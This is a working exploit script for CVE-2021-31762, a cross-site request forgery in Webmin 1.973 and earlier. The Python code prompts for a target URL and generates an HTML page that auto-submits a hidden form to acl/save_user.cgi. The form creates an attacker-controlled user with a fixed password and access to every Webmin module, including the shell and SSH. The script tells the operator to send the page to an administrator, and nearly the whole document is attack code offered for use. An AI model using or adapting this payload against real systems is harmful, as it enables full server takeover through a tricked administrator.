# Exploit Title: Webmin 1.973 - Cross-Site Request Forgery (CSRF)
# Date: 24/04/2021
# Exploit Author: *Mesh3l_911 & Z0ldyck
# Vendor Homepage: https://www.webmin.com
# Repo Link: https://github.com/Mesh3l911/CVE-2021-31762
# Version: Webmin 1.973
# Tested on: All versions <= 1.973
# CVE : CVE-2021-31762
# POC: https://youtu.be/qCvEXwyaF5U
import time, subprocess
print('''\033[1;37m
__ __ _ ____ _ _________ _ _ _
| \/ | | | |___ \| | |___ / _ \| | | | | |
| \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ /
| | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| <
|_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/
__/ |
|___/
\033[1;m''')
for i in range(101):
print(
"\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
i), "\033[1;36m%\033[1;m", end="")
time.sleep(0.02)
print("\n\n")
target = input(
"\033[1;36m \nPlease input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")
if target.endswith('/'):
target = target + 'acl/save_user.cgi'
else:
target = target + '/acl/save_user.cgi'
def CSRF_Generator():
with open('CSRF_POC.html', 'w') as POC:
POC.write \
('''
<html>
<head>
<meta name="referrer" content="never">
</head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="'''+target+'''" method="POST">
<input type="hidden" name="safe" value="" />
<input type="hidden" name="name" value="Mesh3l_Z0ldyck" />
<input type="hidden" name="pass_def" value="0" />
<input type="hidden" name="pass" value="Mesh3l_Z0ldyck123" />
<input type="hidden" name="real" value="Mesh3l_Z0ldyck" />
<input type="hidden" name="cert_def" value="1" />
<input type="hidden" name="lang_def" value="1" />
<input type="hidden" name="lang" value="af" />
<input type="hidden" name="notabs" value="0" />
<input type="hidden" name="theme_def" value="1" />
<input type="hidden" name="theme" value="" />
<input type="hidden" name="overlay_def" value="1" />
<input type="hidden" name="overlay" value="overlay-theme" />
<input type="hidden" name="logouttime_def" value="1" />
<input type="hidden" name="minsize_def" value="1" />
<input type="hidden" name="ipmode" value="0" />
<input type="hidden" name="ips" value="" />
<input type="hidden" name="days_def" value="1" />
<input type="hidden" name="hours_def" value="1" />
<input type="hidden" name="hours_hfrom" value="" />
<input type="hidden" name="hours_mfrom" value="" />
<input type="hidden" name="hours_hto" value="" />
<input type="hidden" name="hours_mto" value="" />
<input type="hidden" name="mod" value="backup-config" />
<input type="hidden" name="mod" value="change-user" />
<input type="hidden" name="mod" value="webmincron" />
<input type="hidden" name="mod" value="usermin" />
<input type="hidden" name="mod" value="webminlog" />
<input type="hidden" name="mod" value="webmin" />
<input type="hidden" name="mod" value="help" />
<input type="hidden" name="mod" value="servers" />
<input type="hidden" name="mod" value="acl" />
<input type="hidden" name="mod" value="bacula-backup" />
<input type="hidden" name="mod" value="init" />
<input type="hidden" name="mod" value="passwd" />
<input type="hidden" name="mod" value="quota" />
<input type="hidden" name="mod" value="mount" />
<input type="hidden" name="mod" value="fsdump" />
<input type="hidden" name="mod" value="ldap-client" />
<input type="hidden" name="mod" value="ldap-useradmin" />
<input type="hidden" name="mod" value="logrotate" />
<input type="hidden" name="mod" value="mailcap" />
<input type="hidden" name="mod" value="mon" />
<input type="hidden" name="mod" value="pam" />
<input type="hidden" name="mod" value="certmgr" />
<input type="hidden" name="mod" value="proc" />
<input type="hidden" name="mod" value="at" />
<input type="hidden" name="mod" value="cron" />
<input type="hidden" name="mod" value="sentry" />
<input type="hidden" name="mod" value="man" />
<input type="hidden" name="mod" value="syslog" />
<input type="hidden" name="mod" value="syslog-ng" />
<input type="hidden" name="mod" value="system-status" />
<input type="hidden" name="mod" value="useradmin" />
<input type="hidden" name="mod" value="apache" />
<input type="hidden" name="mod" value="bind8" />
<input type="hidden" name="mod" value="pserver" />
<input type="hidden" name="mod" value="dhcpd" />
<input type="hidden" name="mod" value="dhcp-dns" />
<input type="hidden" name="mod" value="dovecot" />
<input type="hidden" name="mod" value="exim" />
<input type="hidden" name="mod" value="fetchmail" />
<input type="hidden" name="mod" value="foobar" />
<input type="hidden" name="mod" value="frox" />
<input type="hidden" name="mod" value="jabber" />
<input type="hidden" name="mod" value="ldap-server" />
<input type="hidden" name="mod" value="majordomo" />
<input type="hidden" name="mod" value="htpasswd-file" />
<input type="hidden" name="mod" value="minecraft" />
<input type="hidden" name="mod" value="mysql" />
<input type="hidden" name="mod" value="openslp" />
<input type="hidden" name="mod" value="postfix" />
<input type="hidden" name="mod" value="postgresql" />
<input type="hidden" name="mod" value="proftpd" />
<input type="hidden" name="mod" value="procmail" />
<input type="hidden" name="mod" value="qmailadmin" />
<input type="hidden" name="mod" value="mailboxes" />
<input type="hidden" name="mod" value="sshd" />
<input type="hidden" name="mod" value="samba" />
<input type="hidden" name="mod" value="sendmail" />
<input type="hidden" name="mod" value="spam" />
<input type="hidden" name="mod" value="squid" />
<input type="hidden" name="mod" value="sarg" />
<input type="hidden" name="mod" value="wuftpd" />
<input type="hidden" name="mod" value="webalizer" />
<input type="hidden" name="mod" value="link" />
<input type="hidden" name="mod" value="adsl-client" />
<input type="hidden" name="mod" value="bandwidth" />
<input type="hidden" name="mod" value="fail2ban" />
<input type="hidden" name="mod" value="firewalld" />
<input type="hidden" name="mod" value="ipsec" />
<input type="hidden" name="mod" value="krb5" />
<input type="hidden" name="mod" value="firewall" />
<input type="hidden" name="mod" value="firewall6" />
<input type="hidden" name="mod" value="exports" />
<input type="hidden" name="mod" value="exports-nfs4" />
<input type="hidden" name="mod" value="xinetd" />
<input type="hidden" name="mod" value="inetd" />
<input type="hidden" name="mod" value="pap" />
<input type="hidden" name="mod" value="ppp-client" />
<input type="hidden" name="mod" value="pptp-client" />
<input type="hidden" name="mod" value="pptp-server" />
<input type="hidden" name="mod" value="stunnel" />
<input type="hidden" name="mod" value="shorewall" />
<input type="hidden" name="mod" value="shorewall6" />
<input type="hidden" name="mod" value="itsecur-firewall" />
<input type="hidden" name="mod" value="tcpwrappers" />
<input type="hidden" name="mod" value="idmapd" />
<input type="hidden" name="mod" value="filter" />
<input type="hidden" name="mod" value="burner" />
<input type="hidden" name="mod" value="grub" />
<input type="hidden" name="mod" value="lilo" />
<input type="hidden" name="mod" value="raid" />
<input type="hidden" name="mod" value="lvm" />
<input type="hidden" name="mod" value="fdisk" />
<input type="hidden" name="mod" value="lpadmin" />
<input type="hidden" name="mod" value="smart-status" />
<input type="hidden" name="mod" value="time" />
<input type="hidden" name="mod" value="vgetty" />
<input type="hidden" name="mod" value="iscsi-client" />
<input type="hidden" name="mod" value="iscsi-server" />
<input type="hidden" name="mod" value="iscsi-tgtd" />
<input type="hidden" name="mod" value="iscsi-target" />
<input type="hidden" name="mod" value="cluster-passwd" />
<input type="hidden" name="mod" value="cluster-copy" />
<input type="hidden" name="mod" value="cluster-cron" />
<input type="hidden" name="mod" value="cluster-shell" />
<input type="hidden" name="mod" value="cluster-shutdown" />
<input type="hidden" name="mod" value="cluster-usermin" />
<input type="hidden" name="mod" value="cluster-useradmin" />
<input type="hidden" name="mod" value="cluster-webmin" />
<input type="hidden" name="mod" value="cfengine" />
<input type="hidden" name="mod" value="heartbeat" />
<input type="hidden" name="mod" value="shell" />
<input type="hidden" name="mod" value="custom" />
<input type="hidden" name="mod" value="disk-usage" />
<input type="hidden" name="mod" value="export-test" />
<input type="hidden" name="mod" value="ftelnet" />
<input type="hidden" name="mod" value="filemin" />
<input type="hidden" name="mod" value="flashterm" />
<input type="hidden" name="mod" value="tunnel" />
<input type="hidden" name="mod" value="file" />
<input type="hidden" name="mod" value="phpini" />
<input type="hidden" name="mod" value="cpan" />
<input type="hidden" name="mod" value="htaccess-htpasswd" />
<input type="hidden" name="mod" value="telnet" />
<input type="hidden" name="mod" value="ssh" />
<input type="hidden" name="mod" value="ssh2" />
<input type="hidden" name="mod" value="shellinabox" />
<input type="hidden" name="mod" value="status" />
<input type="hidden" name="mod" value="ajaxterm" />
<input type="hidden" name="mod" value="updown" />
<input type="hidden" name="mod" value="vnc" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
''')
POC.close()
print(
"\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and ur privileged user creds would be \n\nUsername: \033[1;m\033[1;37mMesh3l_Z0ldyck\033[1;m\n\033[1;36mPassword:\033[1;m \033[1;37mMesh3l_Z0ldyck123\n\033[1;m\n\n\033[1;36mHappy Hunting ^_^ \n\033[1;m")
def main():
CSRF_Generator()
if __name__ == '__main__':
main()Credits and Partners
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